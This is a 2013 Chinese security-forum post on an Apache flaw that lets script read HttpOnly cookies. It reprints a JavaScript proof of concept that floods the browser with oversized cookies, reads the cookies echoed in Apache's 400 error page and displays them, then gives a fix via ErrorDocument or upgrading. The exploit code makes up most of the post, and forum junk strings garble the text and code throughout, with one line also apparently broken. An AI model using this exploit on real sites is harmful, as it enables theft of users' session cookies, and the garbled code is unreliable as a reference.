找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2434|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。! D' x  l* O9 h8 e" k9 e* B& z' i

1 ^6 L# F4 d  `# {用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
: q+ y3 S3 i* U3 n, l - e8 l, N9 O: p& ], f# U! B
# r! R5 J* g5 h: }0 @
// http://www.exploit-db.com/exploits/18442/$ I; d: j; z9 n" ~; g9 H- `/ @2 \
function setCookies (good) {
; v: ^$ }6 k7 h1 r// Construct string for cookie value, H7 Q6 `  Y' ]3 J3 i
var str = "";
1 L: E$ w  Y& l$ |9 D: Kfor (var i=0; i< 819; i++) {
7 P! p* G# k+ s, B. k% d" ?str += "x";" `6 v( I6 z! t! O5 W" z
}
2 V, ]# T- l" g6 H2 v// Set cookies9 I# b' |2 b4 ^8 X
for (i = 0; i < 10; i++) {* {2 _& f8 }1 V$ v
// Expire evil cookie( H$ d3 A: w  z( j% [$ W4 n
if (good) {3 j. i, I+ I! j: S$ C$ _
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
7 e3 B0 }7 m4 R$ w}
, m/ ]8 ]# d) ~8 l' F2 a// Set evil cookie& A1 n9 k: u1 I
else {; e5 B, |, ?; R# K$ m# d* F. K/ }
var cookie = "xss"+i+"="+str+";path=/";
% N+ E9 O' J; q* r}- ^) A9 J/ N! k9 _+ [
document.cookie = cookie;
# j0 I* s2 |6 k9 F, A}" ^1 [8 `" L* r
}
, p8 I5 D5 |; V+ x  e9 M' _function makeRequest() {
5 U  |. A8 B. csetCookies();2 q4 y" j; ~+ f4 u
function parseCookies () {: n7 f+ F- K+ Q! n$ |
var cookie_dict = {};& B4 c& p, e$ H/ x3 \5 u6 Y. U& d# U
// Only react on 400 status
5 X$ X; T) N# c, |7 W8 Gif (xhr.readyState === 4 && xhr.status === 400) {4 m. Y" ?+ Z* u, l2 g' q
// Replace newlines and match <pre> content1 s: M, K, x! c2 B* s
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
0 m; K* m. Q8 V/ V8 Xif (content.length) {, D' l: L6 m' B( L+ ?  N
// Remove Cookie: prefix
# u5 }$ x# K8 x) Ycontent = content[1].replace("Cookie: ", "");
; Z5 X0 r* h* I. F5 ?* q2 {var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; r- }3 g9 ?$ C// Add cookies to object
' L) y. J' X) r; @+ ffor (var i=0; i<cookies.length; i++) {
- S( }/ K2 x3 M5 p3 }var s_c = cookies.split('=',2);
' [% B1 F2 k: F3 o, P3 s% Vcookie_dict[s_c[0]] = s_c[1];
* O* ^6 O2 {0 F, \) P4 F" z}9 a* S. f1 K% L% u& Z9 u. N: \* s" ?
}8 f$ I0 |4 p: n+ }: o
// Unset malicious cookies. u6 \# {0 ^3 I2 S
setCookies(true);
6 S, _7 l  J8 Oalert(JSON.stringify(cookie_dict));
5 p# Q" \8 T# K" L% r}
' ?; D$ K9 t" P( e& ?}
, i: S7 b: O3 R// Make XHR request
' \& L( g4 }5 q8 A8 O: C: t' |var xhr = new XMLHttpRequest();& u' }& v# ^. L3 Z; u, }
xhr.onreadystatechange = parseCookies;1 N- @% z0 H$ N" `& l9 }8 u0 {
xhr.open("GET", "/", true);  v8 |. a0 v0 |' w" @
xhr.send(null);5 q/ }) f! G. ^
}: s$ @2 f2 M6 Q, Q
makeRequest();
5 ^+ N  M& `( E/ d' J0 s
2 }% W/ L8 @, I. G, f0 S9 O. ^你就能看见华丽丽的400错误包含着cookie信息。' o. P1 I0 n( u
' a* w% I1 X$ C8 B
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download## ^7 s% u' B1 B3 q) h
: ~- ~' i; q& C" d( w
修复方案:8 l" P4 w5 A8 i
+ ~# O; N3 K* F6 l0 y
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下1 l" Y1 n0 S9 e! G6 D

5 }& b0 _* n+ ^1 U1 TIn the event of a problem or error, Apachecan be configured to do one of four things,
! ~5 P& g% d4 o. r2 t1 v* \" W, U* ~( I$ x. ]' X" w+ Y: L
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息# a4 W( T% k# y* _7 Z
2. output acustomized message输出一段信息9 C8 E3 r1 ]/ i8 r) p" m
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 # \' |0 O8 w  M% O. g) a% r' v# _) B
4. redirect to an external URL to handle theproblem/error转向一个外部URL
& `- y4 r5 N5 L" A3 C  j
4 }' U: [, ^: S8 D( X# ?经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
1 S/ L2 P# o' e: v9 x
- y, {! a- n2 \  p/ B( vApache配置:( c) c2 ~9 U& h- F! o3 J1 W' O  E
# j+ f6 D0 c6 u2 ^( K% T. t
ErrorDocument400 " security test"6 L* ~7 |# [6 ?" p3 U3 R5 Q

( W6 w. W, }, t5 p+ |2 ]( j+ o* S当然,升级apache到最新也可:)。
6 L: y1 {3 n8 q. P/ k8 S8 v1 B  D2 s4 _) W" ^
参考:http://httpd.apache.org/security/vulnerabilities_22.html
% Z- }, K" `# s% l1 \' b: d1 L. |% U3 }7 Y; Z' [1 P; m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表